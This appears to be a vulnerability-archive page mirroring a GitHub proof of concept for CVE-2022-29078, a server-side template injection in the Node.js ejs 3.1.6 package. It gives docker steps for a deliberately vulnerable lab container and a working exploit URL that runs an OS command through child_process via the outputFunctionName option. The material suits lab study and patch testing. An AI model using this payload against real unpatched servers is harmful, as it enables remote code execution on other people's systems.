Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2022-29078 PoC — Github ejs 代码注入漏洞

Source
Associated Vulnerability
Title:Github ejs 代码注入漏洞 (CVE-2022-29078)
Description:The ejs (aka Embedded JavaScript templates) package 3.1.6 for Node.js allows server-side template injection in settings[view options][outputFunctionName]. This is parsed as an internal option, and overwrites the outputFunctionName option with an arbitrary OS command (which is executed upon template compilation).
Description
vuln ejs 3.1.6 docker
Readme
# CVE-2022-29078
vuln ejs 3.1.6 docker

## Setup
```
git clone https://github.com/miko550/CVE-2022-29078.git  
cd CVE-2022-29078
docker build . -t miko/vuln-ejs
docker run -p 49160:8080 -d --name vuln-ejs miko/vuln-ejs
```
## Usage
```
http://127.0.0.1:49160/
```
## Exploit
### In browser
```
http://127.0.0.1:49160/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s
```
### Verify exploit
```
docker exec -it vuln-ejs /bin/bash
ls -la /tmp
```

# Reference
https://eslam.io/posts/ejs-server-side-template-injection-rce/
https://github.com/Olusamimaths/templating-with-ejs
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →